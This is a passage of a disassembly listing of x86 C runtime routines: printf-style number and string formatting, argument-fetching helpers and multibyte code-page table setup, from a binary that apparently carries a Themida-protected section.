		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]


loc_41FD68:				; DATA XREF: Themida_:0055D150o
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28B0000h
		nop
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2650898h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 28B0701h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		call	near ptr 28B0000h
		nop
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
